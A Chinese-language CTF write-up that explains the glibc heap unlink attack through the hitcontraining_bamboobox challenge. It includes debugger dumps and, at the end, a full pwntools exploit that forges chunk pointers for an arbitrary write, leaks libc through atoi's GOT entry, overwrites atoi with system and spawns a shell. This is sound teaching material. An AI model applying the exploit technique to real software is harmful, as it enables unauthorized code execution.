记录unlink的原理及例题分析
unlink攻击实质:先前合并,绕过unlink检查,实现任意地址写
给出unlink几条重要的代码
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \第一个检查
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \第二个检查
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
FD->bk = BK
BK->fd = FD
实现unlink攻击的条件
1 . 可以修改next_chunk的pre_size和size位 (为了绕过第一个检查,实现合并)
2 . 不能开pie (要知道需要合并的地址,所以不能开pie)
结合题目更好理解,下面给出例题(hitcontraining_bamboobox)
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
可以看出是一个功能齐全的堆,但是change函数里有漏洞,size任意输入,导致我们可以修改下一个堆块的pre_size和size位
alloc(0x20,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc") #防止与top chunk 合并 下面调试就不给出 index 2的图了
看一下空间是怎样的
pwndbg> x/20gx 0x1eda020
0x1eda020: 0x0000000000000000 0x0000000000000031 #对应 index 0
0x1eda030: 0x0000000a61616161 0x0000000000000000
0x1eda040: 0x0000000000000000 0x0000000000000000
0x1eda050: 0x0000000000000000 0x0000000000000091 #对应 index 0
0x1eda060: 0x0000000a62626262 0x0000000000000000
0x1eda070: 0x0000000000000000 0x0000000000000000
target = 0x6020c8
fd = target - 0x18 #绕过第二个检查
bk = target - 0x10 #绕过第二个检查
payload = p64(0) + p64(0x20)
payload += p64(fd) + p64(bk)
payload += p64(0x20) + p64(0x90) #绕过第一个检查
change(0,payload)
第一个检查很容易理解,就是检查一下chunk1 的pre_size大小是否与chunk0一致(size检查)
是怎么绕过第二个检查的呢?很简单,附上一张图片更好理解
从图中第一行图很容易看出
target = 0x6020c8
FD = target - 0x18 =0x602b0
BK = target - 0x10 =0x602b8
绕过第二个检查如下
FD->bk == P (0x602b0 +0x18==0x6020c8)
BK->fd == P (0x602b8 +0x10==0x6020c8)
调试看一下
0x11b9020 0x0 0x30 Freed 0x0 0x20
0x11b9050 0x20 0x90 Used 0x
0x11b9020: 0x0000000000000000 0x0000000000000031
0x11b9030: 0x0000000000000000 0x0000000000000020
0x11b9040: 0x00000000006020b0 0x00000000006020b8
0x11b9050: 0x0000000000000020 0x0000000000000090
0x11b9060: 0x0000000a62626200 0x0000000000000000
fd 和bk 被填入 ,chunk0 被认为free状态了 ,只要free chunk1 就能绕过两个检查,并且 然chunk0和chunk1合并,也就是上面讲到的向前合并
free(1)
调试看一下
0x169d020: 0x0000000000000000 0x0000000000000031
0x169d030: 0x0000000000000000 0x00000000000000b1
0x169d040: 0x00007fbcd6dc3b78 0x00007fbcd6dc3b78
0x169d050: 0x0000000000000020 0x0000000000000090
0x169d060: 0x0000000a62626200 0x0000000000000000
pwndbg> x/20gx 0x6020c0
0x6020c0 <itemlist>: 0x0000000000000020 0x00000000006020b0
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000030 0x000000000169d0f0
向前合并 ,之前的0x20变成了b1 (0x20+0x90+1(in_use) )
0x6020c8的值变成了0x6020b0,这是怎么变的呢? 还记得上面给出的几条重要代码吗,当绕过两个检查后,会改BK->fd 的值
FD->bk = BK
BK->fd = FD
BK->fd 不就是 0x6020c8 , FD = target - 0x18 =0x602b0
BK->fd = FD 不就是 *( 0x6020c8 ) = 0x602b0
整个流程下来,我们就完成了 unlink攻击, 可以实现地址任意写了
接下来 ,我们往chunk0 写入数据 就是往 0x602b0 写数据
下面的比较简单 ,我就直接 给出思路和完整exp
思路: 修改chunk0 的位置为 atoi的got表 ,再show() 可以泄露 atoi的got 进而 泄露 libc
再用change函数 改atoi的got 为system函数 ,就会导致 执行atoi函数时 其实就是再执行system函数
exp
from pwn import *
p=remote('node4.buuoj.cn',29387)
context.log_level = 'debug'
elf = ELF("./pwn")
libc =ELF('23.64')
atoi_got = elf.got['atoi']
def d():
gdb.attach(p)
pause()
def show():
p.recvuntil("Your choice:")
p.sendline(str(1))
def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)
def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)
def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))
alloc(0x20,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")
target = 0x6020c8
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x20)
payload += p64(fd) + p64(bk)
payload += p64(0x20) + p64(0x90)
change(0,payload)
free(1)
payload = p64(0) * 2
payload += p64(0x30) + p64(atoi_got)
print(hex(atoi_got))
change(0,payload)
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']
print(hex(system))
payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")
p.interactive()